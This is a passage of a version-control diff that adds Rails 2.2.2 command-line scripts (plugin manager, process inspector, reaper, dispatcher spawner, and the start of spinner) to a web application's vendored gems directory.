+      @rails_root = RailsEnvironment.default.root
+      @script_name = File.basename($0) 
+      @sources = []
+    end
+    
+    def environment=(value)
+      @environment = value
+      RailsEnvironment.default = value
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@script_name} [OPTIONS] command"
+        o.define_head "Rails plugin manager."
+        
+        o.separator ""        
+        o.separator "GENERAL OPTIONS"
+        
+        o.on("-r", "--root=DIR", String,
+             "Set an explicit rails app directory.",
+             "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) }
+        o.on("-s", "--source=URL1,URL2", Array,
+             "Use the specified plugin repositories instead of the defaults.") { |sources| @sources = sources}
+        
+        o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose }
+        o.on("-h", "--help", "Show this help message.") { puts o; exit }
+        
+        o.separator ""
+        o.separator "COMMANDS"
+        
+        o.separator "  discover   Discover plugin repositories."
+        o.separator "  list       List available plugins."
+        o.separator "  install    Install plugin(s) from known repositories or URLs."
+        o.separator "  update     Update installed plugins."
+        o.separator "  remove     Uninstall plugins."
+        o.separator "  source     Add a plugin source repository."
+        o.separator "  unsource   Remove a plugin repository."
+        o.separator "  sources    List currently configured plugin repositories."
+        
+        o.separator ""
+        o.separator "EXAMPLES"
+        o.separator "  Install a plugin:"
+        o.separator "    #{@script_name} install continuous_builder\n"
+        o.separator "  Install a plugin from a subversion URL:"
+        o.separator "    #{@script_name} install http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder\n"
+        o.separator "  Install a plugin from a git URL:"
+        o.separator "    #{@script_name} install git://github.com/SomeGuy/my_awesome_plugin.git\n"
+        o.separator "  Install a plugin and add a svn:externals entry to vendor/plugins"
+        o.separator "    #{@script_name} install -x continuous_builder\n"
+        o.separator "  List all available plugins:"
+        o.separator "    #{@script_name} list\n"
+        o.separator "  List plugins in the specified repository:"
+        o.separator "    #{@script_name} list --source=http://dev.rubyonrails.com/svn/rails/plugins/\n"
+        o.separator "  Discover and prompt to add new repositories:"
+        o.separator "    #{@script_name} discover\n"
+        o.separator "  Discover new repositories but just list them, don't add anything:"
+        o.separator "    #{@script_name} discover -l\n"
+        o.separator "  Add a new repository to the source list:"
+        o.separator "    #{@script_name} source http://dev.rubyonrails.com/svn/rails/plugins/\n"
+        o.separator "  Remove a repository from the source list:"
+        o.separator "    #{@script_name} unsource http://dev.rubyonrails.com/svn/rails/plugins/\n"
+        o.separator "  Show currently configured repositories:"
+        o.separator "    #{@script_name} sources\n"        
+      end
+    end
+    
+    def parse!(args=ARGV)
+      general, sub = split_args(args)
+      options.parse!(general)
+      
+      command = general.shift
+      if command =~ /^(list|discover|install|source|unsource|sources|remove|update|info)$/
+        command = Commands.const_get(command.capitalize).new(self)
+        command.parse!(sub)
+      else
+        puts "Unknown command: #{command}"
+        puts options
+        exit 1
+      end
+    end
+    
+    def split_args(args)
+      left = []
+      left << args.shift while args[0] and args[0] =~ /^-/
+      left << args.shift if args[0]
+      return [left, args]
+    end
+    
+    def self.parse!(args=ARGV)
+      Plugin.new.parse!(args)
+    end
+  end
+  
+  
+  class List
+    def initialize(base_command)
+      @base_command = base_command
+      @sources = []
+      @local = false
+      @remote = true
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} list [OPTIONS] [PATTERN]"
+        o.define_head "List available plugins."
+        o.separator   ""        
+        o.separator   "Options:"
+        o.separator   ""
+        o.on(         "-s", "--source=URL1,URL2", Array,
+                      "Use the specified plugin repositories.") {|sources| @sources = sources}
+        o.on(         "--local", 
+                      "List locally installed plugins.") {|local| @local, @remote = local, false}
+        o.on(         "--remote",
+                      "List remotely available plugins. This is the default behavior",
+                      "unless --local is provided.") {|remote| @remote = remote}
+      end
+    end
+    
+    def parse!(args)
+      options.order!(args)
+      unless @sources.empty?
+        @sources.map!{ |uri| Repository.new(uri) }
+      else
+        @sources = Repositories.instance.all
+      end
+      if @remote
+        @sources.map{|r| r.plugins}.flatten.each do |plugin| 
+          if @local or !plugin.installed?
+            puts plugin.to_s
+          end
+        end
+      else
+        cd "#{@base_command.environment.root}/vendor/plugins"
+        Dir["*"].select{|p| File.directory?(p)}.each do |name| 
+          puts name
+        end
+      end
+    end
+  end
+  
+  
+  class Sources
+    def initialize(base_command)
+      @base_command = base_command
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} sources [OPTIONS] [PATTERN]"
+        o.define_head "List configured plugin repositories."
+        o.separator   ""        
+        o.separator   "Options:"
+        o.separator   ""
+        o.on(         "-c", "--check", 
+                      "Report status of repository.") { |sources| @sources = sources}
+      end
+    end
+    
+    def parse!(args)
+      options.parse!(args)
+      Repositories.each do |repo|
+        puts repo.uri
+      end
+    end
+  end
+  
+  
+  class Source
+    def initialize(base_command)
+      @base_command = base_command
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} source REPOSITORY [REPOSITORY [REPOSITORY]...]"
+        o.define_head "Add new repositories to the default search list."
+      end
+    end
+    
+    def parse!(args)
+      options.parse!(args)
+      count = 0
+      args.each do |uri|
+        if Repositories.instance.add(uri)
+          puts "added: #{uri.ljust(50)}" if $verbose
+          count += 1
+        else
+          puts "failed: #{uri.ljust(50)}"
+        end
+      end
+      Repositories.instance.save
+      puts "Added #{count} repositories."
+    end
+  end
+  
+  
+  class Unsource
+    def initialize(base_command)
+      @base_command = base_command
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} unsource URI [URI [URI]...]"
+        o.define_head "Remove repositories from the default search list."
+        o.separator ""
+        o.on_tail("-h", "--help", "Show this help message.") { puts o; exit }
+      end
+    end
+    
+    def parse!(args)
+      options.parse!(args)
+      count = 0
+      args.each do |uri|
+        if Repositories.instance.remove(uri)
+          count += 1
+          puts "removed: #{uri.ljust(50)}"
+        else
+          puts "failed: #{uri.ljust(50)}"
+        end
+      end
+      Repositories.instance.save
+      puts "Removed #{count} repositories."
+    end
+  end
+
+  
+  class Discover
+    def initialize(base_command)
+      @base_command = base_command
+      @list = false
+      @prompt = true
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} discover URI [URI [URI]...]"
+        o.define_head "Discover repositories referenced on a page."
+        o.separator   ""        
+        o.separator   "Options:"
+        o.separator   ""
+        o.on(         "-l", "--list", 
+                      "List but don't prompt or add discovered repositories.") { |list| @list, @prompt = list, !@list }
+        o.on(         "-n", "--no-prompt", 
+                      "Add all new repositories without prompting.") { |v| @prompt = !v }
+      end
+    end
+
+    def parse!(args)
+      options.parse!(args)
+      args = ['http://wiki.rubyonrails.org/rails/pages/Plugins'] if args.empty?
+      args.each do |uri|
+        scrape(uri) do |repo_uri|
+          catch(:next_uri) do
+            if @prompt
+              begin
+                $stdout.print "Add #{repo_uri}? [Y/n] "
+                throw :next_uri if $stdin.gets !~ /^y?$/i
+              rescue Interrupt
+                $stdout.puts
+                exit 1
+              end
+            elsif @list
+              puts repo_uri
+              throw :next_uri
+            end
+            Repositories.instance.add(repo_uri)
+            puts "discovered: #{repo_uri}" if $verbose or !@prompt
+          end
+        end
+      end
+      Repositories.instance.save
+    end
+    
+    def scrape(uri)
+      require 'open-uri'
+      puts "Scraping #{uri}" if $verbose
+      dupes = []
+      content = open(uri).each do |line|
+        begin
+          if line =~ /<a[^>]*href=['"]([^'"]*)['"]/ || line =~ /(svn:\/\/[^<|\n]*)/
+            uri = $1
+            if uri =~ /^\w+:\/\// && uri =~ /\/plugins\// && uri !~ /\/browser\// && uri !~ /^http:\/\/wiki\.rubyonrails/ && uri !~ /http:\/\/instiki/
+              uri = extract_repository_uri(uri)
+              yield uri unless dupes.include?(uri) || Repositories.instance.exist?(uri)
+              dupes << uri
+            end
+          end
+        rescue
+          puts "Problems scraping '#{uri}': #{$!.to_s}"
+        end
+      end
+    end
+    
+    def extract_repository_uri(uri)
+      uri.match(/(svn|https?):.*\/plugins\//i)[0]
+    end 
+  end
+  
+  class Install
+    def initialize(base_command)
+      @base_command = base_command
+      @method = :http
+      @options = { :quiet => false, :revision => nil, :force => false }
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]"
+        o.define_head "Install one or more plugins."
+        o.separator   ""
+        o.separator   "Options:"
+        o.on(         "-x", "--externals", 
+                      "Use svn:externals to grab the plugin.", 
+                      "Enables plugin updates and plugin versioning.") { |v| @method = :externals }
+        o.on(         "-o", "--checkout",
+                      "Use svn checkout to grab the plugin.",
+                      "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout }
+        o.on(         "-e", "--export",
+                      "Use svn export to grab the plugin.",
+                      "Exports the plugin, allowing you to check it into your local repository. Does not enable updates, or add an svn:externals entry.") { |v| @method = :export }
+        o.on(         "-q", "--quiet",
+                      "Suppresses the output from installation.",
+                      "Ignored if -v is passed (./script/plugin -v install ...)") { |v| @options[:quiet] = true }
+        o.on(         "-r REVISION", "--revision REVISION",
+                      "Checks out the given revision from subversion or git.",
+                      "Ignored if subversion/git is not used.") { |v| @options[:revision] = v }
+        o.on(         "-f", "--force",
+                      "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true }
+        o.separator   ""
+        o.separator   "You can specify plugin names as given in 'plugin list' output or absolute URLs to "
+        o.separator   "a plugin repository."
+      end
+    end
+    
+    def determine_install_method
+      best = @base_command.environment.best_install_method
+      @method = :http if best == :http and @method == :export
+      case
+      when (best == :http and @method != :http)
+        msg = "Cannot install using subversion because `svn' cannot be found in your PATH"
+      when (best == :export and (@method != :export and @method != :http))
+        msg = "Cannot install using #{@method} because this project is not under subversion."
+      when (best != :externals and @method == :externals)
+        msg = "Cannot install using externals because vendor/plugins is not under subversion."
+      end
+      if msg
+        puts msg
+        exit 1
+      end
+      @method
+    end
+    
+    def parse!(args)
+      options.parse!(args)
+      environment = @base_command.environment
+      install_method = determine_install_method
+      puts "Plugins will be installed using #{install_method}" if $verbose
+      args.each do |name|
+        ::Plugin.find(name).install(install_method, @options)
+      end
+    rescue StandardError => e
+      puts "Plugin not found: #{args.inspect}"
+      puts e.inspect if $verbose
+      exit 1
+    end
+  end
+
+  class Update
+    def initialize(base_command)
+      @base_command = base_command
+    end
+   
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} update [name [name]...]"
+        o.on(         "-r REVISION", "--revision REVISION",
+                      "Checks out the given revision from subversion.",
+                      "Ignored if subversion is not used.") { |v| @revision = v }
+        o.define_head "Update plugins."
+      end
+    end
+   
+    def parse!(args)
+      options.parse!(args)
+      root = @base_command.environment.root
+      cd root
+      args = Dir["vendor/plugins/*"].map do |f|
+        File.directory?("#{f}/.svn") ? File.basename(f) : nil
+      end.compact if args.empty?
+      cd "vendor/plugins"
+      args.each do |name|
+        if File.directory?(name)
+          puts "Updating plugin: #{name}"
+          system("svn #{$verbose ? '' : '-q'} up \"#{name}\" #{@revision ? "-r #{@revision}" : ''}")
+        else
+          puts "Plugin doesn't exist: #{name}"
+        end
+      end
+    end
+  end
+
+  class Remove
+    def initialize(base_command)
+      @base_command = base_command
+    end
+    
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} remove name [name]..."
+        o.define_head "Remove plugins."
+      end
+    end
+    
+    def parse!(args)
+      options.parse!(args)
+      root = @base_command.environment.root
+      args.each do |name|
+        ::Plugin.new(name).uninstall
+      end
+    end
+  end
+
+  class Info
+    def initialize(base_command)
+      @base_command = base_command
+    end
+
+    def options
+      OptionParser.new do |o|
+        o.set_summary_indent('  ')
+        o.banner =    "Usage: #{@base_command.script_name} info name [name]..."
+        o.define_head "Shows plugin info at {url}/about.yml."
+      end
+    end
+
+    def parse!(args)
+      options.parse!(args)
+      args.each do |name|
+        puts ::Plugin.find(name).info
+        puts
+      end
+    end
+  end
+end
+ 
+class RecursiveHTTPFetcher
+  attr_accessor :quiet
+  def initialize(urls_to_fetch, level = 1, cwd = ".")
+    @level = level
+    @cwd = cwd
+    @urls_to_fetch = RUBY_VERSION >= '1.9' ? urls_to_fetch.lines : urls_to_fetch.to_a
+    @quiet = false
+  end
+
+  def ls
+    @urls_to_fetch.collect do |url|
+      if url =~ /^svn(\+ssh)?:\/\/.*/
+        `svn ls #{url}`.split("\n").map {|entry| "/#{entry}"} rescue nil
+      else
+        open(url) do |stream|
+          links("", stream.read)
+        end rescue nil
+      end
+    end.flatten
+  end
+
+  def push_d(dir)
+    @cwd = File.join(@cwd, dir)
+    FileUtils.mkdir_p(@cwd)
+  end
+
+  def pop_d
+    @cwd = File.dirname(@cwd)
+  end
+
+  def links(base_url, contents)
+    links = []
+    contents.scan(/href\s*=\s*\"*[^\">]*/i) do |link|
+      link = link.sub(/href="/i, "")
+      next if link =~ /svnindex.xsl$/
+      next if link =~ /^(\w*:|)\/\// || link =~ /^\./
+      links << File.join(base_url, link)
+    end
+    links
+  end
+  
+  def download(link)
+    puts "+ #{File.join(@cwd, File.basename(link))}" unless @quiet
+    open(link) do |stream|
+      File.open(File.join(@cwd, File.basename(link)), "wb") do |file|
+        file.write(stream.read)
+      end
+    end
+  end
+  
+  def fetch(links = @urls_to_fetch)
+    links.each do |l|
+      (l =~ /\/$/ || links == @urls_to_fetch) ? fetch_dir(l) : download(l)
+    end
+  end
+  
+  def fetch_dir(url)
+    @level += 1
+    push_d(File.basename(url)) if @level > 0
+    open(url) do |stream|
+      contents =  stream.read
+      fetch(links(url, contents))
+    end
+    pop_d if @level > 0
+    @level -= 1
+  end
+end
+
+Commands::Plugin.parse!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/inspector.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/inspector.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/inspector.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,68 @@
+require 'optparse'
+
+if RUBY_PLATFORM =~ /(:?mswin|mingw)/ then abort("Inspector is only for Unix") end
+
+OPTIONS = {
+  :pid_path => File.expand_path(RAILS_ROOT + '/tmp/pids'),
+  :pattern  => "dispatch.*.pid",
+  :ps       => "ps -o pid,state,user,start,time,pcpu,vsz,majflt,command -p %s"
+}
+
+class Inspector
+  def self.inspect(pid_path, pattern)
+    new(pid_path, pattern).inspect
+  end
+
+  def initialize(pid_path, pattern)
+    @pid_path, @pattern = pid_path, pattern
+  end
+
+  def inspect
+    header = `#{OPTIONS[:ps] % 1}`.split("\n")[0] + "\n"
+    lines  = pids.collect { |pid| `#{OPTIONS[:ps] % pid}`.split("\n")[1] }
+    
+    puts(header + lines.join("\n"))
+  end
+
+  private
+    def pids
+      pid_files.collect do |pid_file|
+        File.read(pid_file).to_i
+      end
+    end
+
+    def pid_files
+      Dir.glob(@pid_path + "/" + @pattern)
+    end
+end
+
+
+ARGV.options do |opts|
+  opts.banner = "Usage: inspector [options]"
+
+  opts.separator ""
+
+  opts.on <<-EOF
+  Description:
+    Displays system information about Rails dispatchers (or other processes that use pid files) through
+    the ps command.
+
+  Examples:
+    inspector                                             # default ps on all tmp/pids/dispatch.*.pid files
+    inspector -s 'ps -o user,start,majflt,pcpu,vsz -p %s' # custom ps, %s is where the pid is interleaved
+  EOF
+
+  opts.on("  Options:")
+
+  opts.on("-s", "--ps=command", "default: #{OPTIONS[:ps]}", String)           { |v| OPTIONS[:ps] = v }
+  opts.on("-p", "--pidpath=path", "default: #{OPTIONS[:pid_path]}", String)   { |v| OPTIONS[:pid_path] = v }
+  opts.on("-r", "--pattern=pattern", "default: #{OPTIONS[:pattern]}", String) { |v| OPTIONS[:pattern] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+Inspector.inspect(OPTIONS[:pid_path], OPTIONS[:pattern])

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/reaper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/reaper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/reaper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,149 @@
+require 'optparse'
+require 'net/http'
+require 'uri'
+
+if RUBY_PLATFORM =~ /(:?mswin|mingw)/ then abort("Reaper is only for Unix") end
+
+class Killer
+  class << self
+    # Searches for all processes matching the given keywords, and then invokes
+    # a specific action on each of them. This is useful for (e.g.) reloading a
+    # set of processes:
+    #
+    #   Killer.process(:reload, "/tmp/pids", "dispatcher.*.pid")
+    def process(action, pid_path, pattern, keyword)
+      new(pid_path, pattern, keyword).process(action)
+    end
+
+    # Forces the (rails) application to reload by sending a +HUP+ signal to the
+    # process.
+    def reload(pid)
+      `kill -s HUP #{pid}`
+    end
+
+    # Force the (rails) application to restart by sending a +USR2+ signal to the
+    # process.
+    def restart(pid)
+      `kill -s USR2 #{pid}`
+    end
+
+    # Forces the (rails) application to gracefully terminate by sending a
+    # +TERM+ signal to the process.
+    def graceful(pid)
+      `kill -s TERM #{pid}`
+    end
+
+    # Forces the (rails) application to terminate immediately by sending a -9
+    # signal to the process.
+    def kill(pid)
+      `kill -9 #{pid}`
+    end
+
+    # Send a +USR1+ signal to the process.
+    def usr1(pid)
+      `kill -s USR1 #{pid}`
+    end
+  end
+
+  def initialize(pid_path, pattern, keyword=nil)
+    @pid_path, @pattern, @keyword = pid_path, pattern, keyword
+  end
+
+  def process(action)
+    pids = find_processes
+
+    if pids.empty?
+      warn "Couldn't find any pid file in '#{@pid_path}' matching '#{@pattern}'"
+      warn "(also looked for processes matching #{@keyword.inspect})" if @keyword
+    else
+      pids.each do |pid|
+        puts "#{action.capitalize}ing #{pid}"
+        self.class.send(action, pid)
+      end
+      
+      delete_pid_files if terminating?(action)
+    end      
+  end
+  
+  private
+    def terminating?(action)
+      [ "kill", "graceful" ].include?(action)
+    end
+  
+    def find_processes
+      files = pid_files
+      if files.empty?
+        find_processes_via_grep
+      else
+        files.collect { |pid_file| File.read(pid_file).to_i }
+      end
+    end
+
+    def find_processes_via_grep
+      lines = `ps axww -o 'pid command' | grep #{@keyword}`.split(/\n/).
+        reject { |line| line =~ /inq|ps axww|grep|spawn-fcgi|spawner|reaper/ }
+      lines.map { |line| line[/^\s*(\d+)/, 1].to_i }
+    end
+    
+    def delete_pid_files
+      pid_files.each { |pid_file| File.delete(pid_file) }
+    end
+    
+    def pid_files
+      Dir.glob(@pid_path + "/" + @pattern)
+    end
+end
+
+
+OPTIONS = {
+  :action     => "restart",
+  :pid_path   => File.expand_path(RAILS_ROOT + '/tmp/pids'),
+  :pattern    => "dispatch.[0-9]*.pid",
+  :dispatcher => File.expand_path("#{RAILS_ROOT}/public/dispatch.fcgi")
+}
+
+ARGV.options do |opts|
+  opts.banner = "Usage: reaper [options]"
+
+  opts.separator ""
+
+  opts.on <<-EOF
+  Description:
+    The reaper is used to restart, reload, gracefully exit, and forcefully exit processes
+    running a Rails Dispatcher (or any other process responding to the same signals). This
+    is commonly done when a new version of the application is available, so the existing
+    processes can be updated to use the latest code.
+
+    It uses pid files to work on the processes and by default assume them to be located
+    in RAILS_ROOT/tmp/pids. 
+
+    The reaper actions are:
+
+    * restart : Restarts the application by reloading both application and framework code
+    * reload  : Only reloads the application, but not the framework (like the development environment)
+    * graceful: Marks all of the processes for exit after the next request
+    * kill    : Forcefully exists all processes regardless of whether they're currently serving a request
+
+    Restart is the most common and default action.
+
+  Examples:
+    reaper                  # restarts the default dispatchers
+    reaper -a reload        # reload the default dispatchers
+    reaper -a kill -r *.pid # kill all processes that keep pids in tmp/pids
+  EOF
+
+  opts.on("  Options:")
+
+  opts.on("-a", "--action=name", "reload|graceful|kill (default: #{OPTIONS[:action]})", String)  { |v| OPTIONS[:action] = v }
+  opts.on("-p", "--pidpath=path", "default: #{OPTIONS[:pid_path]}", String)                      { |v| OPTIONS[:pid_path] = v }
+  opts.on("-r", "--pattern=pattern", "default: #{OPTIONS[:pattern]}", String)                    { |v| OPTIONS[:pattern] = v }
+  opts.on("-d", "--dispatcher=path", "DEPRECATED. default: #{OPTIONS[:dispatcher]}", String)     { |v| OPTIONS[:dispatcher] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+Killer.process(OPTIONS[:action], OPTIONS[:pid_path], OPTIONS[:pattern], OPTIONS[:dispatcher])

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/spawner.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/spawner.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/spawner.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,219 @@
+require 'active_support'
+require 'optparse'
+require 'socket'
+require 'fileutils'
+
+def daemonize #:nodoc:
+  exit if fork                   # Parent exits, child continues.
+  Process.setsid                 # Become session leader.
+  exit if fork                   # Zap session leader. See [1].
+  Dir.chdir "/"                  # Release old working directory.
+  File.umask 0000                # Ensure sensible umask. Adjust as needed.
+  STDIN.reopen "/dev/null"       # Free file descriptors and
+  STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
+  STDERR.reopen STDOUT           # STDOUT/ERR should better go to a logfile.
+end
+
+class Spawner
+  def self.record_pid(name = "#{OPTIONS[:process]}.spawner", id = Process.pid)
+    FileUtils.mkdir_p(OPTIONS[:pids])
+    File.open(File.expand_path(OPTIONS[:pids] + "/#{name}.pid"), "w+") { |f| f.write(id) }
+  end
+
+  def self.spawn_all
+    OPTIONS[:instances].times do |i|
+      port = OPTIONS[:port] + i
+      print "Checking if something is already running on #{OPTIONS[:address]}:#{port}..."
+
+      begin
+        srv = TCPServer.new(OPTIONS[:address], port)
+        srv.close
+        srv = nil
+
+        puts "NO"
+        puts "Starting dispatcher on port: #{OPTIONS[:address]}:#{port}"
+
+        FileUtils.mkdir_p(OPTIONS[:pids])
+        spawn(port)
+      rescue
+        puts "YES"
+      end
+    end
+  end
+end
+
+class FcgiSpawner < Spawner
+  def self.spawn(port)
+    cmd = "#{OPTIONS[:spawner]} -f #{OPTIONS[:dispatcher]} -p #{port} -P #{OPTIONS[:pids]}/#{OPTIONS[:process]}.#{port}.pid"
+    cmd << " -a #{OPTIONS[:address]}" if can_bind_to_custom_address?
+    system(cmd)
+  end
+
+  def self.can_bind_to_custom_address?
+    @@can_bind_to_custom_address ||= /^\s-a\s/.match `#{OPTIONS[:spawner]} -h`
+  end
+end
+
+class MongrelSpawner < Spawner
+  def self.spawn(port)
+    cmd =
+      "mongrel_rails start -d " +
+      "-a #{OPTIONS[:address]} " +
+      "-p #{port} " +
+      "-P #{OPTIONS[:pids]}/#{OPTIONS[:process]}.#{port}.pid " +
+      "-e #{OPTIONS[:environment]} " +
+      "-c #{OPTIONS[:rails_root]} " +
+      "-l #{OPTIONS[:rails_root]}/log/mongrel.log"
+
+    # Add prefix functionality to spawner's call to mongrel_rails
+    # Digging through mongrel's project subversion server, the earliest
+    # Tag that has prefix implemented in the bin/mongrel_rails file
+    # is 0.3.15 which also happens to be the earliest tag listed.
+    # References: http://mongrel.rubyforge.org/svn/tags
+    if Mongrel::Const::MONGREL_VERSION.to_f >=0.3 && !OPTIONS[:prefix].nil?
+      cmd = cmd + " --prefix #{OPTIONS[:prefix]}"
+    end
+    system(cmd)
+  end
+  
+  def self.can_bind_to_custom_address?
+    true
+  end
+end
+
+
+begin
+  require_library_or_gem 'fcgi'
+rescue Exception
+  # FCGI not available
+end
+
+begin
+  require_library_or_gem 'mongrel'
+rescue Exception
+  # Mongrel not available
+end
+
+server = case ARGV.first
+  when "fcgi", "mongrel"
+    ARGV.shift
+  else
+    if defined?(Mongrel)
+      "mongrel"
+    elsif RUBY_PLATFORM !~ /(:?mswin|mingw)/ && !silence_stderr { `spawn-fcgi -version` }.blank? && defined?(FCGI)
+      "fcgi"
+    end
+end
+
+case server
+  when "fcgi"
+    puts "=> Starting FCGI dispatchers"
+    spawner_class = FcgiSpawner
+  when "mongrel"
+    puts "=> Starting mongrel dispatchers"
+    spawner_class = MongrelSpawner
+  else
+    puts "Neither FCGI (spawn-fcgi) nor Mongrel was installed and available!"
+    exit(0)
+end
+
+
+
+OPTIONS = {
+  :environment => "production",
+  :spawner     => '/usr/bin/env spawn-fcgi',
+  :dispatcher  => File.expand_path(RELATIVE_RAILS_ROOT + '/public/dispatch.fcgi'),
+  :pids        => File.expand_path(RELATIVE_RAILS_ROOT + "/tmp/pids"),
+  :rails_root  => File.expand_path(RELATIVE_RAILS_ROOT),
+  :process     => "dispatch",
+  :port        => 8000,
+  :address     => '0.0.0.0',
+  :instances   => 3,
+  :repeat      => nil,
+  :prefix      => nil
+}
+
+ARGV.options do |opts|
+  opts.banner = "Usage: spawner [platform] [options]"
+
+  opts.separator ""
+
+  opts.on <<-EOF
+  Description:
+    The spawner is a wrapper for spawn-fcgi and mongrel that makes it
+    easier to start multiple processes running the Rails dispatcher. The
+    spawn-fcgi command is included with the lighttpd web server, but can
+    be used with both Apache and lighttpd (and any other web server
+    supporting externally managed FCGI processes). Mongrel automatically
+    ships with with mongrel_rails for starting dispatchers.
+
+    The first choice you need to make is whether to spawn the Rails
+    dispatchers as FCGI or Mongrel. By default, this spawner will prefer
+    Mongrel, so if that's installed, and no platform choice is made,
+    Mongrel is used.
+
+    Then decide a starting port (default is 8000) and the number of FCGI
+    process instances you'd like to run. So if you pick 9100 and 3
+    instances, you'll start processes on 9100, 9101, and 9102.
+
+    By setting the repeat option, you get a protection loop, which will
+    attempt to restart any FCGI processes that might have been exited or
+    outright crashed.
+
+    You can select bind address for started processes. By default these
+    listen on every interface. For single machine installations you would
+    probably want to use 127.0.0.1, hiding them form the outside world.
+
+     Examples:
+       spawner               # starts instances on 8000, 8001, and 8002
+                             # using Mongrel if available.
+       spawner fcgi          # starts instances on 8000, 8001, and 8002
+                             # using FCGI.
+       spawner mongrel -i 5  # starts instances on 8000, 8001, 8002,
+                             # 8003, and 8004 using Mongrel.
+       spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to
+                             # 9109 using Mongrel if available.
+       spawner -p 9100 -r 5  # starts 3 instances counting from 9100 to
+                             # 9102 and attempts start them every 5
+                             # seconds.
+       spawner -a 127.0.0.1  # starts 3 instances binding to localhost
+  EOF
+
+  opts.on("  Options:")
+
+  opts.on("-p", "--port=number",      Integer, "Starting port number (default: #{OPTIONS[:port]})")                { |v| OPTIONS[:port] = v }
+
+  if spawner_class.can_bind_to_custom_address?
+    opts.on("-a", "--address=ip",     String,  "Bind to IP address (default: #{OPTIONS[:address]})")                { |v| OPTIONS[:address] = v }
+  end
+
+  opts.on("-p", "--port=number",      Integer, "Starting port number (default: #{OPTIONS[:port]})")                { |v| OPTIONS[:port] = v }
+  opts.on("-i", "--instances=number", Integer, "Number of instances (default: #{OPTIONS[:instances]})")            { |v| OPTIONS[:instances] = v }
+  opts.on("-r", "--repeat=seconds",   Integer, "Repeat spawn attempts every n seconds (default: off)")             { |v| OPTIONS[:repeat] = v }
+  opts.on("-e", "--environment=name", String,  "test|development|production (default: #{OPTIONS[:environment]})")  { |v| OPTIONS[:environment] = v }
+  opts.on("-P", "--prefix=path",      String,  "URL prefix for Rails app. [Used only with Mongrel > v0.3.15]: (default: #{OPTIONS[:prefix]})")         { |v| OPTIONS[:prefix] = v }
+  opts.on("-n", "--process=name",     String,  "default: #{OPTIONS[:process]}")                                    { |v| OPTIONS[:process] = v }
+  opts.on("-s", "--spawner=path",     String,  "default: #{OPTIONS[:spawner]}")                                    { |v| OPTIONS[:spawner] = v }
+  opts.on("-d", "--dispatcher=path",  String,  "default: #{OPTIONS[:dispatcher]}") { |dispatcher| OPTIONS[:dispatcher] = File.expand_path(dispatcher) }
+
+  opts.separator ""
+
+  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+ENV["RAILS_ENV"] = OPTIONS[:environment]
+
+if OPTIONS[:repeat]
+  daemonize
+  trap("TERM") { exit }
+  spawner_class.record_pid
+
+  loop do
+    spawner_class.spawn_all
+    sleep(OPTIONS[:repeat])
+  end
+else
+  spawner_class.spawn_all
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/spinner.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/spinner.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process/spinner.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,57 @@
+require 'optparse'
+
+def daemonize #:nodoc:
+  exit if fork                   # Parent exits, child continues.
+  Process.setsid                 # Become session leader.
+  exit if fork                   # Zap session leader. See [1].
+  Dir.chdir "/"                  # Release old working directory.
+  File.umask 0000                # Ensure sensible umask. Adjust as needed.
+  STDIN.reopen "/dev/null"       # Free file descriptors and
